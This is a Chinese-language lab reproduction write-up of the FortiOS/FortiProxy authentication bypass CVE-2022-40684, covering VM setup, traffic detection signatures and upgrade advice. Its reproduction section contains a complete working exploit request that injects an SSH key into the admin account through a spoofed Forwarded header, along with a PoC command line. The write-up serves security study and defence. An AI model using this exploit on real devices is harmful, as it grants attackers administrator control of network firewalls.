目录
0x01 声明:
仅供学习参考使用,请勿用作违法用途,否则后果自负。
0x02 简介:
Fortinet FortiOS是美国飞塔(Fortinet)公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。FortiProxy 为网站和基于云的应用程序提供安全 Web 网关、安全功能、无与伦比的性能以及最佳用户体验。
0x03 漏洞概述:
近日,Fortinet修复了一个存在 FortiGate 防火墙和 FortiProxy Web 代理中的身份验证绕过漏洞(CVE-2022-40684),该漏洞可能允许攻击者在易受攻击的设备上执行未经授权的操作,攻击者通过向易受攻击的目标发送特制的 HTTP 或 HTTPS 请求进行绕过身份认证以管理员身份在控制面板中执行任意操作。
0x04 影响版本:
7.0.0 <= FortiOS <= 7.0.6
7.2.0 <= FortiOS <= 7.2.1
7.0.0 <= FortiProxy <= 7.0.6
FortiProxy = 7.2.0
FortiSwitchManager = 7.0.0
FortiSwitchManager = 7.2.0
0x05 环境搭建:
FortiGate虚拟化环境
下载FortiGate-VM:
(https://pan.baidu.com/s/1eCcjGwqfHqklEFfSurTk7Q?pwd=2jx1)
导入OVF模板:
解压FGT_VM64-v7.2.1.F-build1254-FORTINET.out.ovf.zip,选择红框内容导入。
登录后台:
admin 无密码直接回车(会提示修改密码)
配置IP:
config system interface
edit port1
set mode static
set ip 192.168.0.100 255.255.255.0
append allowaccess http
next
end
配置网关:(获取试用授权)
config router static
edit 1
set device port1
set gateway 192.168.0.254
next
end
配置DNS:(获取试用授权)
config system dns
set primary 114.114.114.114
set secondary 235.5.5.5
end
开启Rest API:(方便后期查看攻击日志)
config log setting
set rest-api-set enable
set rest-api-get enable
end
登录web页面:
admin 后台设置的密码
生成SSH—KEY(后期要使用)
0x06 漏洞复现:
Burp:
修改请求内容:
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
Host: 192.168.119.156
User-Agent: Report Runner
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Forwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"
Content-Length: 409
Content-Type: application/json
{"ssh-public-key1":"\"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0/ljPV1Bj2kDxivuK7t4Y8MbIYegGvXza7cRwW9uI49eXccQTJr8kRvwUO5Stf01N5wjgZWYXZEAR3kRRCY/UHF6mZT41mCusbJX/IKrRTcmvwWnDysZuFD3YUZuuQvgWiulvOLczUcUXuRwRQj5gUNdFnbB1M/3t0sg2URXPqEqtNxfCQGpeUswpiGPQRCwU6fW0j5GpsX8CtOk/xagvZDRbBTJCqTR61iUxMO/6c82IxQxVb7Fuf6yvwcQhEPcRJ0YPXj3MeCOZQl/n49q7BQeiUqd+4IOrAqoZ08itGHm1iCsgOhacblcV7z5bnf81Z2wJpH5ja626mwxG2ZD/Q==\""}
Xshell连接:
输入用户名admin ,选择 Key。
利用POC:
下载:
利用:
python3 CVE-2022-40684.py -t 192.168.119.156 -u admin -k ~/.ssh/id_rsa.pub
0x07 流量分析:
请求头特征:
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
User-Agent: Report Runner
Forwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"
Data:{"ssh-public-key1": "\"ssh-rsa xxxx\""}
响应体特征:
HTTP/1.1 500 Internal Server Error date:
"cli_error":"SSH key is good.
0x08 修复建议:
官方已经针对漏洞发布了安全更新,用户可升级至安全版本:
使用 7.0.0 <= FortiOS <= 7.0.6 的用户升级至 7.0.7 版本
使用 7.2.0 <= FortiOS <= 7.2.1 的用户升级至 7.2.2 版本
使用 7.0.0 <= FortiProxy <= 7.0.6 的用户升级至 7.0.7 版本
使用 FortiProxy = 7.2.0 的用户升级至 7.2.1 版本
下载地址如下:
https://docs.fortinet.com/document/fortigate/7.2.2/fortios-release-notes/832438/upgrade-information
https://docs.fortinet.com/document/fortiproxy/7.2.1/release-notes/587449/product-integration-and-support